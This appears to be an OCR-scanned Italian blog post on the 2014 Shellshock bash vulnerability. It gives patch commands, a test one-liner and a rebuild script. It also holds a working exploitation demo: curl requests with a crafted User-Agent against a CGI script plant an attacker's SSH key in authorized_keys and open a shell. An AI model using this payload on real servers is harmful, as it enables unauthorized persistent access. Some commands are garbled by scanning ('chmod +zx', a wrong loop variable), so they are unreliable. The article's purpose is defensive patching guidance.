Shellshock vulnerability BASH

BASH CVE-2014-6271 vulnerability

Vulnerabilita grave della bash, la command line piu diffusa dei sistemi
Linux, associata all’'utilizzo delle CGI consente di prendere il controllo del
server.

Secondo Robert Graham, esperto di sicurezza di Errata Security, la falla che
interessa Bash e probabilmente molto piu grande e rischiosa di Heartbleed,
1’enorme falla di Internet legata al sistema OpenSSL emersa lo scorso aprile.

Cent0S
Debian
Redhat(link is external)
Ubuntu

I sistemi impattati sono principalmente le distribuzioni basate su RHEL,
Debian, ma tutte quelle che usano la bash sono a rischio vulnerabilita.
http://youtu.be/ArEOVHQuOnk

La risoluzione e molto semplice, per le RHEL based, quindi RHEL stessa,
Fedora, Cent0S basta eseguire l’'upgrade della bash:

yum upgrade bash

Mentre per le Debian based:

apt-get update; apt-get install bash

Per Debian 6 potrebbe essere necessario cambiare il repository nel file
source.list, €& possibile scaricare uno script che esegue la verifica della
vulnerabilita sulla bash e poi esegue 1’'upgrade, scarica il file ZIP da
estrarre sul sistema “shellshock.zip”, estrai il pacchetto, dai i permessi di
esecuzione e lancialo:

wget
http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?
id=13

unzip shellshock.zip

chmod +zx shellshock.sh

./shellshock.sh

Lo script scrive nella direcotory /root/ il file shellshock.txt, al suo
interno sono presenti le informazioni della bash e la presenza della
vulnerabilita prima e dopo 1’upgrade.


http://blog.lbit-solution.it/shellshock-vulnerability-bash/
http://lists.centos.org/pipermail/centos/2014-September/146099.html
https://www.debian.org/security/2014/dsa-3032
https://access.redhat.com/site/solutions/1207723
https://access.redhat.com/site/solutions/1207723
http://www.ubuntu.com/usn/usn-2362-1/
http://www.lbit-solution.it/wp-content/plugins/download-monitor/download.php?id=13

Per testare se la versione della BASH e afflitta dalla vulnerabilita
CVE-2014-6271 basta lanciare questo comando:

env x='() { :;}; echo vulnerabile' bash -c "echo prova"

Se riceviamo a video la parola “vulnerabile” e poi “prova” vuol dire che
dobbiamo eseguire 1’upgrade, nel caso ci fosse solo “prova” oppure “bash:
warning: x: ignoring function definition attempt” vuol dire che la BASH in
uso non é& vulnerabile.

Perché avere paura del shellshock e chi deve correre ai ripari:

La vulnerabilita descritta in questo articolo consente di prendere il pieno
controllo del server bersaglio solo se tale server ha in uso le CGI, questo
perché e possibile inserire il settaggio si “X” con le istruzioni di nostro
interesse nell’environment del server sfruttando 1'HTTP_AGENT.

curl -k -H 'User-Agent: () { :;}; /bin/mkdir /var/www/.ssh'
http://BERSAGLIO/cgi-bin/script.py

curl -k -H 'User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEAT...]IXIQ== www-
data@testserv" \

>/var/www/.ssh/authorized keys' http://BERSAGLIO/cgi-bin/script.py

ssh www-data@BERSAGLIO

www-data@BERSAGLIO:~$ uname -a

Linux BERSAGLIO 2.6.32-431.11.2.el6.x86 64 #1 SMP Tue Mar 25 19:59:55 UTC
2014 x86 64 x86 64 x86 64 GNU/Linux

Cosa abbiamo fatto: avevamo precedentemente individuato sul server BERSAGLIO
la presenza delle CGI e dello script script.py, conil curl gil abbiamo
inviato una richiesta falsando il nostro “User-Agent”, nel suo interno
sfruttiamo la vulnerabilita inserendo la creazione di una direcotry :

User-Agent: () { :;}; /bin/mkdir /var/www/.ssh
gli passiamo la nostra chiave per poter effettuare accesso in SSH

User-Agent: () { :;}; echo "ssh-rsa AAAAB3wAAAQEA[...]IXIQ== www-
data@testserv"\ >/var/www/.ssh/authorized keys

ora abbiamo completo accesso al terminale.

Questa vulnerabilita deve spaventare chi espone su internet un web server,
tutti gli altri sistemi che erogano un servizio diverso hanno meno
probabilita di essere bucati, ma comunque € sempre meglio fare 1’upgrade
della bash.

Per i sistemi Debian e Debian based non supportati, come la 5 c’é questo
script pubblicato su
“https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerabil



https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerability/

itjr {"

#!/bin/bash
# dependencies
apt-get update; apt-get install build-essential gettext bison

# get bash 3.2 source

wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz
tar zxvf bash-3.2.tar.gz

cd bash-3.2

# download and apply all patches, including the latest one that patches
CVE-2014-6271
# Note: CVE-2014-6271 is patched by release 52.
# Release 53 is not out on the GNU mirror yet - it should address
CVE-2014-7169.
for i in $(seq -f "%03g" 1 52); do
wget -nv http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-%i
patch -p0 < bash32-$i
done

# compile and install to /usr/local/bin/bash
./configure && make
make install

# point /bin/bash to the new binary
mv /bin/bash /bin/bash.old
ln -s /usr/local/bin/bash /bin/bash


https://dmsimard.com/2014/09/25/the-bash-cve-2014-6271-shellshock-vulnerability/

